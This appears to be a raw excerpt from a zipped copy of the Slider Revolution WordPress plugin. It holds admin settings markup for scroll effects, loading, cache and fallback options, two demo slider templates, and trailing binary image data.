							<longoption><label_a><?php _e('Blur', 'revslider');?></label_a><input type="checkbox"  data-showhide="#max_scroll_blur" data-showhidedep="true" id="sr_se_blurset" class="sliderinput easyinit" data-r="scrolleffects.setBlur"/></longoption>
							<longoption  id="max_scroll_blur"><i class="material-icons">photo_filter</i><label_a><?php _e('Max Blur Strength', 'revslider');?></label_a><input type="text"  id="sr_se_blurMax" class="sliderinput easyinit withsuffix smallinput" data-r="scrolleffects.maxBlur"/></longoption>
							<longoption><label_a><?php _e('Layers default Enabled', 'revslider');?></label_a><input type="checkbox"  id="sr_screff_layers" class="sliderinput easyinit" data-r="scrolleffects.layers"/></longoption>
							<longoption><label_a><?php _e('Slides default Enabled', 'revslider');?></label_a><input type="checkbox"  id="sr_screff_bg" class="sliderinput easyinit" data-r="scrolleffects.bg"/></longoption>
						</div>
					</div>
					<div id="form_slidergeneral_effects_scroll_dependencies" class="form_inner">
						<div class="form_inner_header"><i class="material-icons">done_all</i><?php _e('Scroll Effects Settings', 'revslider');?></div>
						<div class="collapsable" style="display:block !important">

							<label_a><?php _e('Direction', 'revslider');?></label_a><select id="slider_screff_direction"  class="sliderinput easyinit tos2 nosearchbox" data-r="scrolleffects.direction">
									<option value="top"><?php _e('Top', 'revslider');?></option>
									<option value="bottom"><?php _e('Bottom', 'revslider');?></option>
									<option value="both"><?php _e('Both', 'revslider');?></option>
								</select>

							<label_a><?php _e('Disable Mobile', 'revslider');?></label_a><input type="checkbox"  id="sr_screff_disableOnMobile" class="sliderinput easyinit" data-r="scrolleffects.disableOnMobile"/><span class="linebreak"></span>
							<label_a><?php _e('Offset (Tilt) Effect', 'revslider');?></label_a><input data-numeric="true" data-allowed="%" type="text"  id="sr_screff_tilt" class="sliderinput easyinit withsuffix smallinput" data-r="scrolleffects.tilt"/><span class="linebreak"></span>
							<label_a><?php _e('Factor on BG\'s', 'revslider');?></label_a><input type="text" data-numeric="true" data-allowed="" id="sr_screff_multiplicator" class="sliderinput easyinit " data-r="scrolleffects.multiplicator"/><span class="linebreak"></span>
							<label_a><?php _e('Factor on Layers', 'revslider');?></label_a><input type="text" data-numeric="true" data-allowed="" id="sr_screff_multiplicatorLayers" class="sliderinput easyinit " data-r="scrolleffects.multiplicatorLayers"/>
						</div><!-- END OF COLLAPSABLE-->
					</div>
				</div>
			</div><!--END OF SCROLL EFFECTS SETTINGS -->
		</div>
	</div><!-- END OF SCROLL SETTINGS -->

	<!-- MODULE ADVANCED -->
	<div class="form_collector slider_general_collector" data-type="sliderconfig" data-pcontainer="#slider_settings" data-offset="#rev_builder_wrapper">
		<div id="form_module_advanced"  data-select="#gst_sl_10"  class="formcontainer form_menu_inside collapsed">
			<!--<div class="collectortabwrap"><div id="" class="collectortab form_menu_inside" data-forms='["#form_module_advanced"]'><?php _e('Advanced Settings', 'revslider');?></div></div>-->
			<!-- MODULE ADVANCED INNER-->
			<div id="form_slidergeneral_advanced_loading" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">ev_station</i><?php _e('Loading Type', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<!-- SLIDER ADVANCED SETTINGS -->
					<label_a><?php _e('Lazy Loading', 'revslider')?></label_a><select id="sr_adv_performance_load" class="sliderinput tos2 nosearchbox easyinit" data-r="general.lazyLoad" data-show=".tp-monitor-*val*-speed" data-hide=".tp-monitor-speeds"><option value="all"><?php _e("All", 'revslider');?></option><option value="smart"><?php _e("Smart", 'revslider');?></option><option value="single"><?php _e("Single", 'revslider');?></option><option value="none"><?php _e("Default Global Setting", 'revslider');?></option></select>
				</div>
			</div>

			<!-- MODULE ADVANCED INNER-->
			<div id="form_slidergeneral_advanced_internalcache" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">cached</i><?php _e('Internal Cache', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">					
					<label_a><?php _e('Use Cache', 'revslider');?></label_a><select id="sliderintcache" class="sliderinput tos2 nosearchbox easyinit" data-r="general.icache"> <option value="default"><?php _e('Global Default', 'revslider');?></option><option value="on"><?php _e('Enable', 'revslider');?></option><option value="off"><?php _e('Disabled', 'revslider');?></option></select>					
					<row class="direktrow">
						<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
						<contenthalf><div class="function_info"><?php _e('Keep disabled if slider has dynamic content, e.g. shortcodes', 'revslider');?></div></contenthalf>
					</row>
				</div>
			</div>

			<!-- MODULE ADVANCED INNER-->
			<div id="form_slidergeneral_advanced_DPR" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">4k</i><?php _e('Device Pixel Ratio', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">					
					<label_a><?php _e('Max. BG DPR', 'revslider');?></label_a><select id="sliderbgdpr" class="sliderinput tos2 nosearchbox easyinit" data-r="general.DPR"> <option value="ax1"><?php _e('Auto but Max x1', 'revslider');?></option><option value="ax2"><?php _e('Auto but Max x2', 'revslider');?></option><option value="ax3"><?php _e('Auto but Max x3', 'revslider');?></option><option value="ax4"><?php _e('Auto but Max x4', 'revslider');?></option><option value="dpr"><?php _e('Auto', 'revslider');?></option><option value="x1"><?php _e('x1', 'revslider');?></option><option value="x2"><?php _e('x2', 'revslider');?></option><option value="x3"><?php _e('x3', 'revslider');?></option><option value="x4"><?php _e('x4', 'revslider');?></option></select>					
					<row class="direktrow">
						<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
						<contenthalf><div class="function_info"><?php _e('Higher maximum values can have a negative influence on complex canvas animations. Lower values can have a negative influence on image quality on 4k+ devices.', 'revslider');?></div></contenthalf>
					</row>
				</div>
			</div>

			

			<!-- SLIDER FALLBACK SETTINGS -->
			<div id="form_slidergeneral_advanced_fallback" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">error</i><?php _e('Fallback Settings', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<longoption><i class="material-icons"></i><label_a><?php _e('Simplify on IOS4 / IE8', 'revslider');?></label_a><input type="checkbox"  id="sr_simplify_ie8_ios4" class="sliderinput easyinit" data-r="troubleshooting.simplify_ie8_ios4"/></longoption>
					<div class="div15"></div>
					<label_a><?php _e('Alt. Image', 'revslider')?></label_a><select id="slider_fallback_alt_image"  class="sliderinput easyinit tos2 nosearchbox" data-show=".fallback_alt_image_*val*" data-hide=".fallback_alt_image" data-r="troubleshooting.alternateImageType">
						<option value="off" selected="selected"><?php _e('Off', 'revslider');?></option>
						<option value="mobile"><?php _e('On Mobile', 'revslider');?></option>
						<option value="ie8"><?php _e('On IE8', 'revslider');?></option>
						<option value="mobile-ie8"><?php _e('On Mobile and IE8', 'revslider');?></option>
					</select><span class="linebreak"></span>

					<div class="fallback_alt_image_mobile fallback_alt_image_ie8 fallback_alt_image_mobile-ie8 fallback_alt_image">
						<label_a><?php _e('Image URL', 'revslider');?></label_a><input placeholder="<?php _e('Enter Image URL', 'revslider');?>" type="text"  id="troubleshooting_alternateURL" class="sliderinput easyinit" data-r="troubleshooting.alternateURL"/>
						<label_a></label_a><div class="basic_action_button getImageFromMediaLibrary longbutton" data-target="#troubleshooting_alternateURL" id="fallbackimage"><i class="material-icons">style</i><?php _e('Media Library', 'revslider');?></div>
					</div>
				</div>
			</div>

			<!-- SLIDER TROUBLESHOOTING SETTINGS -->
			<div id="form_slidergeneral_advanced_fallback" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">code</i><?php _e('jQuery & OutPut Filters', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<longoption><i class="material-icons">code</i><label_a><?php _e('jQuery No Conflict Mode', 'revslider');?></label_a><input type="checkbox"  id="sr_trbl_conflictmode" class="sliderinput easyinit" data-r="troubleshooting.jsNoConflict"/></longoption>
					<longoption><i class="material-icons">add_to_queue</i><label_a><?php _e('Put JS to Body', 'revslider');?></label_a><input type="checkbox"  id="sr_trbl_jsInBody" class="sliderinput easyinit" data-r="troubleshooting.jsInBody"/></longoption>
					<div class="div15"></div>


					<label_a><?php _e('Output Filter', 'revslider');?></label_a><select id="sr_trbl_filters"  class="sliderinput easyinit tos2 nosearchbox"  data-r="troubleshooting.outPutFilter">
						<option value="none" selected="selected"><?php _e('None', 'revslider');?></option>
						<option value="compress"><?php _e('By Compressing Output', 'revslider');?></option>
						<option value="echo"><?php _e('By Echo Output', 'revslider');?></option>
					</select><span class="linebreak"></span>

				</div><!-- END OF COLLAPSABLE-->
			</div><!--END OF MODULE ADVANCED INNER -->



		</div>
	</div><!-- END OF ADVANCED -->

</div><!-- END OF SLIDER SETTINGS-->
PK�y3\|q�T��!views/features/object_library.phpnu�[���<?php
if(!defined('ABSPATH')) exit();
?>
	<rs-module-wrap id="rev_slider_1029_1_wrapper" data-alias="benefit-library" data-source="gallery" style="background:transparent;padding:0;margin:0px auto;margin-top:0;margin-bottom:0;">
				<rs-module id="rev_slider_1029_1" class="feature_slider" style="" data-version="6.2.50">
					<rs-slides>
						<rs-slide data-key="rs-2090" data-title="Slide" data-anim="ei:d;eo:d;s:1000;r:0;t:fade;sl:0;">
							<img src="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/transparent.png" alt="Slide" class="rev-slidebg" data-no-retina>
<!--
							--><rs-group
								id="slider-1029-slide-2090-layer-6" 
								data-type="group"
								data-rsp_ch="on"
								data-xy="x:c;"
								data-text="w:normal;"
								data-dim="w:380px;h:330px;"
								data-clip="u:true;t:circle;o:clr;"
								data-frame_0="o:1;cp:0%;"
								data-frame_1="sp:1000;cp:75%;"
								data-frame_999="o:0;st:w;sA:9000;"
								style="z-index:14;"
							><!--
								--><rs-layer
									id="slider-1029-slide-2090-layer-0" 
									class="rs-noevents rs-nolc rs-layer-video intrinsic-ignore"
									data-type="video"
									data-rsp_ch="on"
									data-xy="x:c;y:-1px;"
									data-text="w:normal;"
									data-dim="w:380px;h:215px;"
									data-video="ap:false;vd:100;noint:t;l:true;ptimer:false;nse:f;sav:f;"
									data-mp4="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/library_video.mp4"
									data-frame_1="st:800;sR:800;"
									data-frame_999="o:0;st:w;sR:7900;"
									style="z-index:9;"
								>
								</rs-layer><!--

								--><a
									id="slider-1029-slide-2090-layer-1" 
									class="rs-layer"
									href="https://www.sliderrevolution.com/pro-level-design-with-slider-revolution/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=moreinfo" target="_blank" rel="nofollow noopener"
									data-type="shape"
									data-rsp_ch="on"
									data-xy="x:c;"
									data-text="w:normal;"
									data-dim="w:100%;h:100%;"
									data-actions='o:mouseenter;a:gotoframe;layer:slider-1029-slide-2090-layer-3;f:frame_2;ch:true;||o:mouseleave;a:gotoframe;layer:slider-1029-slide-2090-layer-3;f:frame_3;ch:true;||o:mouseenter;a:playvideo;layer:slider-1029-slide-2090-layer-0;||o:mouseleave;a:stopvideo;layer:slider-1029-slide-2090-layer-0;||o:mouseenter;a:gotoframe;layer:slider-1029-slide-2090-layer-4;f:frame_2;ch:true;||o:mouseleave;a:gotoframe;layer:slider-1029-slide-2090-layer-4;f:frame_3;ch:true;||o:mouseenter;a:gotoframe;layer:slider-1029-slide-2090-layer-5;f:frame_2;ch:true;||o:mouseleave;a:gotoframe;layer:slider-1029-slide-2090-layer-5;f:frame_3;ch:true;'
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:8700;"
									data-frame_hover="bgc:#006dd2;sp:200ms;e:power1.inOut;"
									style="z-index:8;background-color:#2a2c2f;cursor:pointer;"
								> 
								</a><!--

								--><rs-layer
									id="slider-1029-slide-2090-layer-2" 
									class="rs-noevents"
									data-type="text"
									data-color="#ffffff"
									data-rsp_ch="on"
									data-xy="x:c;y:235px;"
									data-text="w:normal;fw:700;a:center;"
									data-dim="w:100%;"
									data-padding="r:20;l:20;"
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:8400;"
									style="z-index:10;font-family:Roboto;"
								>Huge Media Asset Library 
								</rs-layer><!--

								--><rs-layer
									id="slider-1029-slide-2090-layer-3" 
									class="rev-btn rs-noevents"
									data-type="button"
									data-color="#b7bbc0"
									data-rsp_ch="on"
									data-xy="x:c;y:270px;"
									data-text="w:normal;s:15;l:32;fw:500;"
									data-dim="minh:0px;"
									data-padding="r:35;l:35;"
									data-border="bor:3px,3px,3px,3px;"
									data-ford="frame_0;frame_1;frame_2;frame_3;frame_999;"
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:7300;"
									data-frame_2="oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:400;c:#ffffff;bgc:#005db3;"
									data-frame_3="oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:300;"
									style="z-index:11;background-color:#3a3e44;font-family:Roboto;"
								>Learn More 
								</rs-layer><!--

								--><rs-layer
									id="slider-1029-slide-2090-layer-4" 
									class="rs-noevents"
									data-type="shape"
									data-rsp_ch="on"
									data-xy="x:c;y:1px;"
									data-text="w:normal;"
									data-dim="w:380px;h:215px;"
									data-ford="frame_0;frame_1;frame_2;frame_3;frame_999;"
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:7300;"
									data-frame_2="o:0;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:400;"
									data-frame_3="o:1;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:300;"
									style="z-index:13;background:linear-gradient(rgba(32,34,36,0) 0%, rgba(32,34,36,0.01) 6.67%, rgba(32,34,36,0.04) 13.34%, rgba(32,34,36,0.1) 20.01%, rgba(32,34,36,0.17) 26.68%, rgba(32,34,36,0.25) 33.35%, rgba(32,34,36,0.35) 40.02%, rgba(32,34,36,0.45) 46.69%, rgba(32,34,36,0.55) 53.36%, rgba(32,34,36,0.65) 60.03%, rgba(32,34,36,0.75) 66.70%, rgba(32,34,36,0.83) 73.37%, rgba(32,34,36,0.9) 80.04%, rgba(32,34,36,0.96) 86.71%, rgba(32,34,36,0.99) 93.38%, rgba(32,34,36,1) 100%);"
								> 
								</rs-layer><!--

								--><rs-layer
									id="slider-1029-slide-2090-layer-5" 
									class="rs-noevents"
									data-type="image"
									data-rsp_ch="on"
									data-xy="x:c;"
									data-text="w:normal;"
									data-dim="w:380px;h:215px;"
									data-ford="frame_0;frame_1;frame_2;frame_3;frame_999;"
									data-frame_0="sX:0.6;sY:0.6;"
									data-frame_0_mask="u:t;"
									data-frame_1="st:200;sp:600;sR:200;"
									data-frame_999="o:0;st:w;sR:7100;"
									data-frame_2="y:top;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:400;sR:200;"
									data-frame_3="y:0px;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:400;sR:100;"
									style="z-index:12;"
								><img src="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/coverlibrary.jpg" width="760" height="428" data-no-retina> 
								</rs-layer><!--
							--></rs-group><!--
-->						</rs-slide>
					</rs-slides>
				</rs-module>		
			</rs-module-wrap>
PK�y3\��N���#views/features/layer_animations.phpnu�[���<?php
if(!defined('ABSPATH')) exit();
?>
	<rs-module-wrap id="rev_slider_736_1_wrapper" data-alias="rvsldr-layers" data-source="gallery" style="background:#2a2c2f;padding:0px;margin:0px auto;margin-top:0px;margin-bottom:0px;">
							<rs-module id="rev_slider_736_1" class="feature_slider" style="display:none;" data-version="6.0.0">
								<rs-slides>
									<rs-slide data-key="rs-2450" data-title="Slide" data-anim="ei:d;eo:d;s:300;r:0;t:fade;sl:d;">
										<img src="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/dummy.png" data-lazyload="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/transparent.png" data-bg="p:center center;c:#2a2c2f;" class="rev-slidebg" data-no-retina>
						<!--
										--><rs-layer
											id="slide-2450-layer-1" 
											data-type="image"
											data-rsp_ch="on"
											data-xy="x:c;y:c;"
											data-text="l:22;a:inherit;"
											data-dim="w:400px;h:120px;"
											data-border="bow:0px;"
											data-frame_0="x:left;o:1;"
											data-frame_1="e:elastic.out;st:160;sp:2000;sR:160;"
											data-frame_999="x:right;o:0;st:a;sp:1000;sR:6840;"
											style="z-index:5;"
										><img src="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/dummy.png" data-ww="400px" data-hh="120px" width="400" height="120" data-lazyload="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/layers_bg.jpg" data-no-retina> 
										</rs-layer><!--

										--><rs-layer
											id="slide-2450-layer-14" 
											data-type="image"
											data-rsp_ch="on"
											data-xy="x:c;y:c;"
											data-text="l:22;a:inherit;"
											data-dim="w:100%;h:100%;"
											data-border="bow:0px;"
											data-frame_0="y:bottom;sX:2;sY:2;"
											data-frame_1="st:a;sp:1000;sR:100;"
											data-frame_999="auto:true;st:a;sp:700;sR:7900;"
											style="z-index:6;"
										><img src="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/dummy.png" data-ww="full-proportional" data-hh="full-proportional" width="640" height="427" data-lazyload="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/layer_animations_bg.jpg" data-no-retina> 
										</rs-layer><!--

										--><rs-layer
											id="slide-2450-layer-2" 
											data-type="text"
											data-color="#ffffff"
											data-rsp_ch="on"
											data-xy="x:c;y:c;yo:-20px;"
											data-text="s:25;l:30;fw:700;a:center;"
											data-border="bow:0px;"
											data-frame_0="y:-50;"
											data-frame_1="e:power4.out;st:160;sp:1000;sR:160;"
											data-frame_999="y:50;o:0;e:power4.out;st:a;sp:600;sR:7840;"
											style="z-index:7;font-family:Roboto;"
										>100+<br/>Premade Layers & Animations 
										</rs-layer><!--

										--><rs-layer
											id="slide-2450-layer-12" 
											data-type="text"
											data-color="#ffffff"
											data-rsp_ch="on"
											data-xy="x:c;y:c;yo:-20px;"
											data-text="s:25;l:30;fw:700;a:center;"
											data-border="bow:0px;"
											data-frame_0="y:-50;"
											data-frame_1="e:power4.out;st:a;sp:1000;sR:100;"
											data-frame_999="y:50px;o:0;e:power4.out;st:a;sp:600;sR:7900;"
											style="z-index:8;font-family:Roboto;"
										>Build Content<br/>In Minutes! 
										</rs-layer><!--

										--><rs-layer
											id="slide-2450-layer-4" 
											class="rev-btn"
											data-type="button"
											data-color="rgba(255,255,255,1)"
											data-xy="x:c;y:c;yo:40px;"
											data-text="s:15;l:34;fw:500;a:inherit;"
											data-rsp_bd="off"
											data-padding="r:35;l:35;"
											data-border="bos:solid;boc:rgba(0,0,0,1);bow:0px;bor:3px,3px,3px,3px;"
											data-frame_0="y:50;"
											data-frame_1="e:power4.out;st:500;sp:1000;sR:500;"
											data-frame_999="o:0;e:power4.inOut;st:w;sp:1000;sR:7500;"
											data-frame_hover="c:rgba(255,255,255,1);bgc:#0a447a;boc:rgba(0,0,0,1);bor:3px,3px,3px,3px;bos:solid;oX:50;oY:50;sp:300;"
											style="z-index:9;background-color:#006dd2;font-family:Roboto;"
										>Element Library 
										</rs-layer><!--

										--><a
											href="https://www.sliderrevolution.com/premium-slider-revolution/"
											target="_blank" 
											rel="noopener"
											class="tp-shape tp-shapewrapper rs-layer"
											data-type="shape"
											data-rsp_ch="on"
											data-xy="x:c;y:c;"
											data-text="fw:700;a:inherit;"
											data-dim="w:100%;h:100%;"
											data-actions='o:mouseenter;a:stoplayer;layer:slide-2450-layer-2;||o:mouseenter;a:stoplayer;layer:slide-2450-layer-1;||o:mouseenter;a:startlayer;layer:slide-2450-layer-12;||o:mouseenter;a:startlayer;layer:slide-2450-layer-14;||o:mouseleave;a:stoplayer;layer:slide-2450-layer-12;||o:mouseleave;a:stoplayer;layer:slide-2450-layer-14;||o:mouseleave;a:startlayer;layer:slide-2450-layer-2;||o:mouseleave;a:startlayer;layer:slide-2450-layer-1;'
											data-basealign="slide"
											data-border="bos:solid;boc:rgba(0,0,0,0.5);bow:0px;"
											data-frame_1="st:160;sR:160;"
											data-frame_999="o:0;st:w;sR:8540;"
											style="z-index:10;"
											id="2450a"
										> 
										</a><!--
									--></rs-slide>
								</rs-slides>								
							</rs-module>
						</rs-module-wrap>
PK�y3\�NV�����%views/features/assets/coveraddons.jpgnu�[�������		





��_��Adobed��������	!1AQ"2aqB�#R���3b�45CSrs�$%c�����&'DT��EUt��!1A"2Qqa�r��$R��#345Bb%��C���?����k�g����{|�@��|��x�8�P3��\c�"�0�T
I�Ld��p�ހ���0���q�:$><�NQ��}(pr{�QaAl�G*)�g�h�(�9��@����@��xځr;�m���m�lg��.y@�r
��1�@w�8�S���P&=Ǖ�x#w4��*�'�����3�qځ@�<PF	�@A�	�΀Ϙ�@`�h��n*���9=��&�]3���ظ�#����u������n���xe�#�W՟���i}�ݕ��B63�g�j�ۯ�k}>����i�s���ci#��4�0ǿ��t��&f�2�/���y�˷{@	���7`Q�2h�&�ɠ2h��Z�Zg��/�����&O��PO��	>��2}I�Q���d���?_�FN��>��Zj1��KI<D���Hu�+9G�tO�=J�k�k/�g����U�r�,Q(��]o�yy9���WS�MkPq�k����C�|��r�8�ח9�\��K{rJ[�-���q�G�p;�y"�;�k��j��v%�H����9�OoJ�ͤ���{�ӭ4vk�F~^)qk"��� 2c�j]K����xz��E(<&`p��Ìq���+O>~u+�rj ɠ^h���4B,%+VP�FM�CJ�VP��(
'��G�����i��S�((�{�����E��,�&
�Ǟh��
rph���@��G�0X}��'տ�`Pw=�;��ځ�9���XQ�;��O��;��
!��s�*���~h�N���ҁA'�?J�(
���7|���ߏ�ʀ�$�����q��.r1�(�P)#n<�F{P�9�|�z���@s@|����+�<
������?I�?U���"i������'S|DžϺ)B�1(�g�<���Vm�Ayoc<��<�`SN|w)w�7uX�,u(�YM�%�y�T����Λǖ����n��I��3�/�Ut��e�S�ұZ�Ш�S�j��P�j��-@P!�QځV�憋CE\��U�c��Z}*���W���qa�4�����Et�&su��jV�����^�c����!\�������4�c��YE��r]���9u�$
�4�#�?6+6�$�u�M���z��^[��0�!I>\/�ø)���Mb
"I�7��K���A�n�v8�*5?uI.$�ʹ�"�bNdy��R����kR�D~g���R�* �9�QF�A��f��!6ѢYBQ����R�e	���(����y�׍�!<�yw�Qϗ�@v�4	ߏ/*8���@|��?J�{��$�!9|�}Gj1�˶(��1@�y�?>f���=���9���ۚ/ŏ�@�wR�>���>��21ǝ�8�s܎q���PI}h�*PN3�<Ps߷��9$h�}h����(�yP0�P ��	;�{���ڀ�ށFH�P���@�zP ����w��7�T8`�g�<s�L�<Ŗ=��7���>}�]T�r�h��c�9��6�G�����x��y�
�!�� s[��'l���Ax�Dڄ��)t��$*p�w�G�g^^�<�ܴ’W	)�4����>Un.X��W��c/n��
�pb�w�h�JB�(��D�(hb��

&
4(hQJ;P#r@�>@�l�����;�ć�c,�'���$�	�t��ȏW6ʐ�@�Kyo#��X��g9\/���T�E9�KD�&�"�%2e�8f�,}=M�K�G�v0��Y��b�:�8�8n2(X�g��^��1�T3:��QFK{TXж���+�
�����,�\�<\�c?!��������*Wh�CGsCE��qBl�h�gѬ14���M"�����jm��e!�&皀a@�P%����?ʼoq�?��Ǔ�ҁ���X�@�x9�P4gg�;P.p���L���(c�?JI�_:��h��<�	�cր�d��@���?Z��P�۱��?Zs��
�?��z*q�O*8P��ցq�<�7n(���9��@g��|��P -����
� `��&�@s�&�@t2(���Ҁ��{���ځA�~�TCT"����<k�L�6��y@c_W�{�^���xi�2��o���}|�Å��xR9ʑ�D�����8���Wۣ}�ƃg��Z���,��#�ڿE�[v��Ůܹ;w�ӟ�ѮOwi"^[��$�1ֲ���]wa��-�bH�+5�_��Q��Z��5�(�P&h�4(hPС�CC44=��Z�b͍�v�;���2{��P�H���n�}
t�>F�Y�d�Z���U�bo\�1�yOb��[+��#\ߥ��7�[��q# ����ʆ��Idزcfe���᠖Y�KX����#��ݺMǼ�v�K7�0Y����7�\[	nE�a��O��<�U����T����F����޴�
J�n!s�@��jh���^�g��Iys1�I�	�-�
��u�]n�'@���S��;��LIg9'#9@3�+r�����z��\��լZ���^H��h��ҵ97==|=5���<���8�+�M��ΣD5��d�:�?Z�Hh?���6�F23�2�x�{�(;�P�ʑ�5Sc{�3@y��G%���A����Z���`�N��vF�ހT6_*�Ҋ0s�O�WI�1�3ޤ/�8���E&�FOq@��'�
���s�@��$�ϕ��n?�Q68Ϙ�����ʊ1���(q��ր9��PNrO�P��NA���4
FxޠC���8�1��$s�΀�E�q�h�/�SCq<��ҋ��3Ǖ4����@��ҁI��q�h=>_��{d�֚]����A�1��d�Sh@y���x��(��:b B�p]��5������&Su������K�.TF�L+��FwG񯧖mt�����i��k���Z5��cq*�d��)�v�ރ�cݿ�ڷH]�ڥ��23X�4��c$\��ٝ���&$д�*���2Ѽg;��ǝ[�|���-���|G�囓�����b�
��P�qCC4CE�QECB��j��1UEP��ǘ��j���k)��½؏v�^H=��ܯ6Sʵ������Lj%C�H0�?09��M������2@���>$*=	�5����+)��_fG��\�c��ї&�Mk�7�$Gr���ɴ���mR����&�C��`�o%�o��FGԫ¨�*:��P>"�"	F�CGr����]��.��Ei�
���P7��qϮ܁G���I�k��޲�5X58!�6vd����"��``7b�a2����\���P��>ҵhd�na���2:[�HG�rk�	��[���ds&�f.y,O�O�>u���n3R�l��=�J�Vj�O:�h�tKj3�hh��ֈBh���ֶ��$Y"�T�d�!��T�>��V���2Zۥ����;&O���
t�����nZ�6�rmǃ#wY~�Z����Z1��'Y�t9�V�9[K�F��$U�V8<�k"�ƥr��d/'��۶��<bX�pnO�V��a�>��D�#'��
0_Y�� ��(|_��m׵��;�'�O��]e��q�C�r�{��U��qٱO�o�&%;	#p�D�\`�h��<:)G��Lc�(Q�(x4J6O���ϝ�n�h�v<������c��vUA�΁' q@�8�r>�Tҁq��F�|�n���1��@0|�ҁ	\`��
P���3�٣�&����p?_�E�|E$`z��8#�|�h��ɟ�6�.�4y�p}2�>O�6�q�JlU����hx�Ǽ��9���r�>n��o��_w��,�3��M��:�$g{k.��BY��w/*x#־��f���seŔ�����fy]K����1��J/�}k�x���$�J�2���I9�ym�����]���饶;k5�E��9^X�Fᔓ��o��ֵ��w~̉x�2b'PF;0v�j.�y@���s�ޜn��TnF�@P �E:�(�4T��(�
��T��*{b�Jtv��9�"��M�0@6���Uq���]4�4�7�YX��DI
�/lo�X\6���`|̃���FmA2IJH����T��7/�c�=��	m���-�P�'W�	&L� <9]�ȣ�}�v�ϧ\�|�����9?&w�P�]~^�j���TP8q�E�G�n~�c���
�� ��Ω�XǸl�y���U�k��q�y�nD���zԭv�h>͸z��M�*�G��2<�њCD �����c��#����ɐp{wҾv����U�Ѥ��W���Vf��G�<Ը59z]����r�7�$����3�WKm�D}GA���PZ��*�ʽ}����2�WT��.�v�VY�\��Fў�ⱕ��q�+c��@�۾b��h����Fjb�F����p�Ċ�I�ょ��o�<5�ŀ}kl�B�Q����8���U����gT��e$r���������0�R�ֵF��of� (��������̚���T��y�k��p���x�RV��9w�Kx7.��O�Y{�}kx��koÞ�Or+n?r~Y������>��h��y%z� ��{
�x>�h����P&H=�j �x�(0s��sߊ�s�9��O:?)�1��P>�f���(ך
�p��e{�jUv��`���6�!I���6R��	��CF�-�RѨ�B�l�f�2\g��4�U�u�t�C4����Ƙw$}i��7k�2G(l����44���խ�eVm�Y�!q�m�$X���S�
��#��뚛[v�?�f�)4n� 	<���y���ϻ�u��xU�B?;0��l��}|��ė��\��3���\�fn��Z�1�m��j��v�j4ttvH�Dw'�J�ߏQ�Y�yz1��Þ�h�[�Nď��q��K<<�&��/˵qzp�t�ѢP��CEP(���@
5E�UI@TdT�j�[y⸋,.7�G��H���$��_f� ^O�|��gKjڝ���v
��������$#"�9�FlR�*��w�\�a�7�߅���w�iu*�6�R٣���>Y�>�=̢I���'}�d��9	��Y�N�Q�AEС���3O,O�X�-Go#��v�ў�j�L6y���U�Î	8�K�� ��I�L���Q��spS0ܬvp~/�8�vf�{��1�g�CY�jT��Flх��£5�"��!�W���RY�l���7L����8����ڱj��u��$X�a1o��+W?ryrp���X�����ǧ^Z;)c,
Á{�]�'��H��55_�C�;g�թ�5������~�hd�(Z�D�,@�O���/	��Q����5�Z[:`����ۏ/<��7�q�HNH$V�NL}J�5	,���4�mÜ2�<�S<�0d^_؛{���'M�$D�F$|J��ͩ)�,ZD��4O�,��go�o����C�]��ҭ��m~(�
�dϘ�Vr�F��q�Қ��[-�4��(+�ំ9p���F�N����^K�R���$�J�9�%���;���w��8�H�҄)�GcΊ8��>��c�q@�'��4�Ey��>�OÏ?*<cց���h繠�΀;q�'����9�q@|]�o:��{P&�2^�
w@�
,�;��h������.����aز�*h+�NI����`�y�ޚ2���ʆ���+��DF-��1h��,G�E٧O��Dj�+6,��6�؎�5�xg~^5�M�$7N4I��/!_Kᾯ��u����f=��m������1[²��0�)Wi�<�ޑf������,)�ȷH]٘��nq�ʪ�b��~�U�vM�$`�1��|������]�O�u��0Oj�I��ЃZ-@b��
�E@Qt(�(���1T�Q��
P�@�S&}���U�%�I�"�t�W��!>)�bR�)�gcg�
Vb�p���A[�v��vf���b�o����$Q9K��U�/�挫s�O����d-�_Z.3��q�X�5]=B���R������D�+&6�{��4���p�QE0~��E�H�R?�MT��{�Ò�Gr8^;���X�,�a�,�1�;�Y�kv��^��g2{5����ݮ�Bd$a���k�Wy>�M�wao�y��qEio0]�\��k�Uǟ�1�)����;��
rk�u�Kfx������?��sOgMf>Yc%�wE�@�_�0Zi�i�,bn�y1a�ߥ巗W֙��.���m��ů�#����(��c9��~xy�]wM1��ݞ�q�\��2�L��f�CM���d�cߟ�xm���g��}>�SN�x�E(��?
���=�s�
㓙��5���m��~(�l��z����ҷ���V�I�$u�Lym��k35�"����KM�I�mrI�"���2����a�Qd�p
